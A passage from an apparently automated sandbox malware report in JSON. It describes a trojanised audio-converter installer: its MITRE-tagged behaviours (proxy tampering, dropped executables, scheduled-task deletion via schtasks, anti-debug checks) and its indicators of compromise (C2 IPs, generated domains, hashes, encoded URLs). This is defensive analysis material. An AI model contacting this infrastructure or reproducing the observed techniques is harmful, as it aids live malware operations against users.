00000000-00002748.00000002.80499.00160000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1546.015","relevance":1,"id":"string-342","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"DioConverterRipper.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp\" opened \"\\Device\\KsecDD\"\n \"schtasks.exe\" opened \"\\Device\\KsecDD\"\n \"DioConverterRipper.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\"www.credit-agricole.fr\" (Source: 00000000-00002748.00000002.80499.00160000.00000004.mdmp, Indicator: \"credit-agricole.fr\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"SetDllDirectoryW\" (Source: 4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283, API is part of module: KERNEL32.DLL)\n Found string \"SetSearchPathMode\" (Source: 4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283, API is part of module: KERNEL32.DLL)\n Found string \"SetProcessDEPPolicy\" (Source: 4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283, API is part of module: KERNEL32.DLL)\n Found string \"GetUserDefaultUILanguage\" (Source: 4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283, API is part of module: KERNELBASE.DLL)\n Found string \"Wow64DisableWow64FsRedirection\" (Source: 4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283, API is part of module: KERNELBASE.DLL)\n Found string \"Wow64RevertWow64FsRedirection\" (Source: 4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283, API is part of module: KERNELBASE.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"file/memory contains long string with (Indicator: \"dbghelp.dll\"; File: \"is-D6SA7.tmp\")\n Found string \":\\Windows\\system32\\dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00002380.00000000.76512.00190000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-L2EOF.tmp\" has high entropy 7.85086\n Dropped file \"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-OOI25.tmp\" has high entropy 7.84998\n Dropped file \"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-D78I7.tmp\" has high entropy 7.71736\n Dropped file \"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-10H0H.tmp\" has high entropy 7.41494\n Dropped file \"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-L2DFR.tmp\" has high entropy 7.71736","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET DROP Spamhaus DROP Listed Traffic Inbound group 37\" (SID: 2400036, Rev: 4798, Severity: 2) categorized as \"Misc Attack\"\n Detected alert \"ET DROP Spamhaus DROP Listed Traffic Inbound group 66\" (SID: 2400065, Rev: 4798, Severity: 2) categorized as \"Misc Attack\"\n Detected alert \"ET HUNTING Suspicious Windows NT version 9 User-Agent\" (SID: 2015822, Rev: 6, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceA@KERNEL32.DLL at 00000000-00002004-6992-248-0040AFD8\n FindResourceA@KERNEL32.DLL at 00000000-00002004-6992-271-0040D210\n FreeResource@KERNEL32.DLL at 00000000-00002004-6992-4736-0040D27C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"General","name":"Sends UDP traffic","description":"\"UDP connection to 152.89.198.214\"\n \"UDP connection to 91.211.247.248\"\n \"UDP connection to 45.155.250.90\"\n \"UDP connection to 141.98.234.31\"","origin":"Network Traffic","mitre_attack_id":"T1095","relevance":1,"id":"network-5","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.196.9.67 on port 80 is sent without HTTP header\n TCP traffic to 173.208.215.98 on port 80 is sent without HTTP header\n TCP traffic to 209.99.187.121 on port 80 is sent without HTTP header\n TCP traffic to 109.230.199.109 on port 80 is sent without HTTP header\n TCP traffic to 45.11.182.186 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Able to delete scheduled task(s)","description":"Found string \"\"%WINDIR%\\system32\\schtasks.exe\" /Delete /F /TN \"DCR1171\"\" (Indicator: \"schtasks.exe\" /delete\"; Source: \"00000000-00002004-00000C46-24959130320\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-629","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"DioConverterRipper.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Contains ability to update the user profile","description":"SystemParametersInfoA@USER32.DLL at 00000000-00002004-6992-204-00494CC4\n SystemParametersInfoA@USER32.DLL at 00000000-00002004-6992-2369-00423638\n SystemParametersInfoA@USER32.DLL at 00000000-00002004-6992-2370-00423608\n SystemParametersInfoA@USER32.DLL at 00000000-00002004-6992-2851-00463044","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1098","relevance":5,"id":"stream-123","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"DioConverterRipper.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"0000000000\")\n \"DioConverterRipper.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"DioConverterRipper.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"DioConverterRipper.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"DioConverterRipper.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the application program directory (%ProgramData%)","description":"File type \"PE32 executable for MS Windows 4.00 (GUI) Intel i386 5 sections\" was dropped at \"%ALLUSERSPROFILE%\\Pop3SessionLog_64\\Pop3SessionLog_64.exe\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-27","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"malicious","category":"Network Related","name":"Detected multiple DNS responses with a low TTL","description":"\"budjduf.com\" with TTL 300\n \"ccjbcuu.net\" with TTL 300\n \"dikubzw.info\" with TTL 300\n \"fqoezsu.ru\" with TTL 300\n \"fqwjuiu.ru\" with TTL 300\n \"hchwljv.net\" with TTL 300\n \"mhbqdbp.com\" with TTL 300\n \"modbdvq.com\" with TTL 300\n \"mugvwji.com\" with TTL 300\n \"scrcsin.net\" with TTL 300\n \"ubvzoix.ua\" with TTL 300\n \"wolefim.com\" with TTL 300\n \"xepygkw.net\" with TTL 300","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":3,"id":"network-35","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 178.16.55.185 on port 2023","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Tries to delete scheduled tasks","description":"Process \"schtasks.exe\" with commandline \"/Delete /F /TN \"DCR1171\"\" (UID: 00000000-00004428)","origin":"Monitored Target","mitre_attack_id":"T1562.001","relevance":7,"id":"target-177","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"Spawned process \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.exe\" (UID: 00000000-00003932)\n Spawned process \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp\" with commandline \"/SL5=\"$20222\n6165424\n54272\nC:\\\\4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.exe\"\" (UID: 00000000-00002004)\n Spawned process \"schtasks.exe\" with commandline \"/Delete /F /TN \"DCR1171\"\" (UID: 00000000-00004428)\n Spawned process \"DioConverterRipper.exe\" with commandline \"-i\" (UID: 00000000-00004320)\n Spawned process \"DioConverterRipper.exe\" with commandline \"-s\" (UID: 00000000-00002748)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Tries to disable/delete scheduled tasks"}],"sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"Spreading","details_count":2,"details":[{"detail":"Detected multiple DNS responses with a low TTL"},{"detail":"Able to discover network shares"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 13 domains and 13 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]}],"intel_graph":{"map":{"Domain:budjduf.com":{"type":"Domain","value":"budjduf.com"},"Domain:ccjbcuu.net":{"type":"Domain","value":"ccjbcuu.net"},"Domain:dikubzw.info":{"type":"Domain","value":"dikubzw.info"},"Domain:fqoezsu.ru":{"type":"Domain","value":"fqoezsu.ru"},"Domain:fqwjuiu.ru":{"type":"Domain","value":"fqwjuiu.ru"},"Domain:hchwljv.net":{"type":"Domain","value":"hchwljv.net"},"Domain:mhbqdbp.com":{"type":"Domain","value":"mhbqdbp.com"},"Domain:modbdvq.com":{"type":"Domain","value":"modbdvq.com"},"Domain:mugvwji.com":{"type":"Domain","value":"mugvwji.com"},"Domain:scrcsin.net":{"type":"Domain","value":"scrcsin.net"},"Domain:ubvzoix.ua":{"type":"Domain","value":"ubvzoix.ua"},"Domain:wolefim.com":{"type":"Domain","value":"wolefim.com"},"Domain:xepygkw.net":{"type":"Domain","value":"xepygkw.net"},"File:0c9dbab264861da7904ff1e5a2c2684782633e6bd8a24ef137f5091fb65dba75":{"type":"File","value":"0c9dbab264861da7904ff1e5a2c2684782633e6bd8a24ef137f5091fb65dba75"},"File:16ea0cf66d51efdbbc2a62b11ab0419fa72fb3320844f1d0d710480245ac9925":{"type":"File","value":"16ea0cf66d51efdbbc2a62b11ab0419fa72fb3320844f1d0d710480245ac9925"},"File:2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc":{"type":"File","value":"2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc"},"File:355f202ffd0106f6af1810742223cd92f96a63f0e4867d963152cb52b171653b":{"type":"File","value":"355f202ffd0106f6af1810742223cd92f96a63f0e4867d963152cb52b171653b"},"File:40fbf64390d6f687867819109279faf094accd1656b63288ff9343b7fd22f156":{"type":"File","value":"40fbf64390d6f687867819109279faf094accd1656b63288ff9343b7fd22f156"},"File:458677cdf0e1a4e87d32ab67d6a5eea9e67cb3545d79a21a0624e6bb5e1087e7":{"type":"File","value":"458677cdf0e1a4e87d32ab67d6a5eea9e67cb3545d79a21a0624e6bb5e1087e7"},"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283":{"type":"File","value":"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283"},"File:555548c6c5646490ac0f783e72dad494dfbbdaf201c7167211d99ceb6ed9e423":{"type":"File","value":"555548c6c5646490ac0f783e72dad494dfbbdaf201c7167211d99ceb6ed9e423"},"File:565689a09c8fade28a711d0603d73b92194cbb35f94b9646079966e3289a0710":{"type":"File","value":"565689a09c8fade28a711d0603d73b92194cbb35f94b9646079966e3289a0710"},"File:565efa1b0407d221b1e6bc44811f529f98fe4d9ffb6e756b56b9525acb87ce28":{"type":"File","value":"565efa1b0407d221b1e6bc44811f529f98fe4d9ffb6e756b56b9525acb87ce28"},"File:57e57c4280434de0a072e7af734083164eb66fb09260a92ec467bb7398831529":{"type":"File","value":"57e57c4280434de0a072e7af734083164eb66fb09260a92ec467bb7398831529"},"File:5883b59e7d562203d416e61006d0408d59a9ba913af5f682039fe651a1dc5849":{"type":"File","value":"5883b59e7d562203d416e61006d0408d59a9ba913af5f682039fe651a1dc5849"},"File:5b08fe55e4bbf2fbfd405e2477e023137cfceb4d115650a5668269c03300a8f8":{"type":"File","value":"5b08fe55e4bbf2fbfd405e2477e023137cfceb4d115650a5668269c03300a8f8","verdict":{"verdict":"likely_benign","verdict_source":"observed prevalence","reasons":["File found in known legitimate files database","File has very high prevalence"]}},"File:67abdd721024f0ff4e0b3f4c2fc13bc5bad42d0b7851d456d88d203d15aaa450":{"type":"File","value":"67abdd721024f0ff4e0b3f4c2fc13bc5bad42d0b7851d456d88d203d15aaa450"},"File:7c7434fdc0abec43569c82ec9533c1b1ee4c6f2f6704e3becf72d79e7e950b69":{"type":"File","value":"7c7434fdc0abec43569c82ec9533c1b1ee4c6f2f6704e3becf72d79e7e950b69"},"File:837fb6a89ded7e3917661c39bbd26305f958ef586c67503a9b08502fa5eb3022":{"type":"File","value":"837fb6a89ded7e3917661c39bbd26305f958ef586c67503a9b08502fa5eb3022"},"File:870555cdcba1f066d893554731ae99a21ae776d41bcb680cbd6510cb9f420e3d":{"type":"File","value":"870555cdcba1f066d893554731ae99a21ae776d41bcb680cbd6510cb9f420e3d"},"File:89174706535125fe102e33884957d49b56afc918f70c9b95339e4314f2cc11f5":{"type":"File","value":"89174706535125fe102e33884957d49b56afc918f70c9b95339e4314f2cc11f5"},"File:8c32b39bece32598853babe9e7a8d0423426d20e8be2a03e3d63ed7268f6439c":{"type":"File","value":"8c32b39bece32598853babe9e7a8d0423426d20e8be2a03e3d63ed7268f6439c"},"File:9e0220511d4ebdb014cc17ecb8319d57e3b0fea09681a80d8084aa8647196582":{"type":"File","value":"9e0220511d4ebdb014cc17ecb8319d57e3b0fea09681a80d8084aa8647196582"},"File:9fef8766b9debd70c5ca0f1899c9d0e0eb84b545e0f07efd8103c2d41107f38a":{"type":"File","value":"9fef8766b9debd70c5ca0f1899c9d0e0eb84b545e0f07efd8103c2d41107f38a"},"File:aa321eddbfd0b4e0a0f7d21c6f6d39d35e793e3695f480c95fb0cf139a41f4e7":{"type":"File","value":"aa321eddbfd0b4e0a0f7d21c6f6d39d35e793e3695f480c95fb0cf139a41f4e7"},"File:cd785c8fc225b02dafe67159b01417ac3c4a02727c9b8431ae5f29a8f06e90df":{"type":"File","value":"cd785c8fc225b02dafe67159b01417ac3c4a02727c9b8431ae5f29a8f06e90df"},"File:d075cbfb1b43dadcdac8cf572c18689134e59319fbe425e82c7bb7c4e7d5948c":{"type":"File","value":"d075cbfb1b43dadcdac8cf572c18689134e59319fbe425e82c7bb7c4e7d5948c"},"File:e9f9ba7399631e9de7cf3f5eb70ad0ac98b1d468a0e5ab134de9d40b7a4e4ac4":{"type":"File","value":"e9f9ba7399631e9de7cf3f5eb70ad0ac98b1d468a0e5ab134de9d40b7a4e4ac4"},"File:ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11":{"type":"File","value":"ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11"},"File:f8b63fa29af4c7cff131bf14fbdaac8e6b6945444e0f13e57417fea4a3de1a6b":{"type":"File","value":"f8b63fa29af4c7cff131bf14fbdaac8e6b6945444e0f13e57417fea4a3de1a6b"},"Ip:109.230.199.109":{"type":"Ip","value":"109.230.199.109"},"Ip:141.98.234.31":{"type":"Ip","value":"141.98.234.31"},"Ip:152.89.198.214":{"type":"Ip","value":"152.89.198.214"},"Ip:173.208.215.98":{"type":"Ip","value":"173.208.215.98"},"Ip:178.16.55.185":{"type":"Ip","value":"178.16.55.185"},"Ip:185.196.9.67":{"type":"Ip","value":"185.196.9.67"},"Ip:209.99.187.121":{"type":"Ip","value":"209.99.187.121"},"Ip:45.11.182.186":{"type":"Ip","value":"45.11.182.186"},"Ip:45.155.250.90":{"type":"Ip","value":"45.155.250.90"},"Ip:91.211.247.248":{"type":"Ip","value":"91.211.247.248"},"Url:/rand":{"type":"Url","value":"/rand"},"Url:/search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68":{"type":"Url","value":"/search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68"},"Url:/search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b529669233608bfe15c2e992":{"type":"Url","value":"/search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b529669233608bfe15c2e992"}},"chains":[{"id":"1543696389196915896","root":"File:5b08fe55e4bbf2fbfd405e2477e023137cfceb4d115650a5668269c03300a8f8","edges":[],"verdict":{"verdict":"likely_benign","verdict_source":"observed prevalence","reasons":["File found in known legitimate files database","File has very high prevalence"]}},{"id":"sandbox_network","root":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","edges":[{"edge_kind":"contacted_ip","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Ip:152.89.198.214"},{"edge_kind":"contacted_ip","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Ip:91.211.247.248"},{"edge_kind":"contacted_ip","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Ip:185.196.9.67"},{"edge_kind":"contacted_ip","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Ip:173.208.215.98"},{"edge_kind":"contacted_ip","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Ip:178.16.55.185"},{"edge_kind":"contacted_ip","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Ip:209.99.187.121"},{"edge_kind":"contacted_ip","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Ip:109.230.199.109"},{"edge_kind":"contacted_ip","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Ip:45.155.250.90"},{"edge_kind":"contacted_ip","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Ip:141.98.234.31"},{"edge_kind":"contacted_ip","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Ip:45.11.182.186"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:budjduf.com"},{"edge_kind":"resolves_to","from_key":"Domain:budjduf.com","to_key":"Ip:185.196.9.67"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:ccjbcuu.net"},{"edge_kind":"resolves_to","from_key":"Domain:ccjbcuu.net","to_key":"Ip:185.196.9.67"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:dikubzw.info"},{"edge_kind":"resolves_to","from_key":"Domain:dikubzw.info","to_key":"Ip:185.196.9.67"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:fqoezsu.ru"},{"edge_kind":"resolves_to","from_key":"Domain:fqoezsu.ru","to_key":"Ip:173.208.215.98"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:fqwjuiu.ru"},{"edge_kind":"resolves_to","from_key":"Domain:fqwjuiu.ru","to_key":"Ip:173.208.215.98"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:hchwljv.net"},{"edge_kind":"resolves_to","from_key":"Domain:hchwljv.net","to_key":"Ip:173.208.215.98"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:mhbqdbp.com"},{"edge_kind":"resolves_to","from_key":"Domain:mhbqdbp.com","to_key":"Ip:173.208.215.98"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:modbdvq.com"},{"edge_kind":"resolves_to","from_key":"Domain:modbdvq.com","to_key":"Ip:173.208.215.98"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:mugvwji.com"},{"edge_kind":"resolves_to","from_key":"Domain:mugvwji.com","to_key":"Ip:173.208.215.98"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:scrcsin.net"},{"edge_kind":"resolves_to","from_key":"Domain:scrcsin.net","to_key":"Ip:209.99.187.121"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:ubvzoix.ua"},{"edge_kind":"resolves_to","from_key":"Domain:ubvzoix.ua","to_key":"Ip:209.99.187.121"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:wolefim.com"},{"edge_kind":"resolves_to","from_key":"Domain:wolefim.com","to_key":"Ip:109.230.199.109"},{"edge_kind":"contacted_domain","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Domain:xepygkw.net"},{"edge_kind":"resolves_to","from_key":"Domain:xepygkw.net","to_key":"Ip:109.230.199.109"},{"edge_kind":"contacted_url","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Url:/search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b529669233608bfe15c2e992"},{"edge_kind":"contacted_url","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Url:/search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68"},{"edge_kind":"contacted_url","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"Url:/rand"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","edges":[{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:e9f9ba7399631e9de7cf3f5eb70ad0ac98b1d468a0e5ab134de9d40b7a4e4ac4"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:565efa1b0407d221b1e6bc44811f529f98fe4d9ffb6e756b56b9525acb87ce28"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:cd785c8fc225b02dafe67159b01417ac3c4a02727c9b8431ae5f29a8f06e90df"},{"edge_kind":"extracted","from_key":"File:4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283","to_key":"File:8c32b39bece32598853babe9e7a8d0423426d20e